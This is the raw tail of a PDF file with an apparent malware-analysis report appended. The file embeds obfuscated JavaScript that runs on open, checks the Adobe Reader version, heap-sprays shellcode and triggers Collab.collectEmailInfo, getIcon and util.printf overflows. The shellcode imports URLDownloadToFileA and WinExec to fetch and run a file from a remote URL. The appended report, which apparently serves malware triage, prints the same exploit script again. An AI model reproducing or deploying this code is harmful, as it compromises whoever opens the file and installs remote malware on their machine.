z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�,	�+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) ��  �62#�r #�  � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p]	�oI'rK���2#���0 ��u�+��eGa��VZ G � I��d ��   �ȶ ��� /���Xb ��D&X��

 ��  ժ���tF"Ѽ �  )#� Y�@ ��(�ePw̗{	X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K�	�  ��\�
D�3ĉ� R��  C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F	$ �� � 	�� L�� g�NR� �q���� � ¹�   b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ �� 
�3���  � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU  �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@  �g �I A `�	   ���s  ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π	��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't  v��5f 	(�ϒ)�r ��c�����&h�; �WMC	=S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s`	�Pð�ۖm��(�ӈ�u�g�	�Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x	R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ 
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l� 
 Pn �^�  3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^����	��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s	*�؃�܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y��  F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A��  ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw�  	��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y  x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt  ;��'�w���  5�F�9:��g�[����{Z]����   ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ�  b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg�	]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l���  �t)��?�R��/N~����/t�	���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%����἖�*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N  V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$  � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++  � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. �  ��5(��1��C��}F��&� ��%J�jAרg�%$� 
."G�$�#��$ �W����J����MV 	��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��޺g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z��	^�D �I�ܩ �$GjAy~ ���԰`�X 疝x��� 4�<�遟e4� W��r(���OǕO��   ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l؁� �_�u�8   Ӻ��   �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K���  [i{   ��� 4�*��a�C%>�Ө�
 9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[	 \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/  �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L  s}�О�x �ƴn1��	,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4  ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F     �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e  f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"%09\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"%45000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000010826 00000 n 
0000013751 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002927 00000 n 
0000003035 00000 n 
0000005745 00000 n 
0000005853 00000 n 
0000008696 00000 n 
0000008805 00000 n 
0000010902 00000 n 
0000011018 00000 n 
0000011132 00000 n 
0000011239 00000 n 
0000011344 00000 n 
0000011456 00000 n 
0000013946 00000 n 
0000013998 00000 n 
0000026720 00000 n 
0000027142 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
generic_stage_recovery_001.js deobfuscated-js generic stage recovery null-collapse from JavaScript object 18 at offset 0x36AE 5998 bytes
SHA-256: 856f9a146122e882220dfdb9c192e6b391cafbaba112fb633a6401357d4d95b4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] 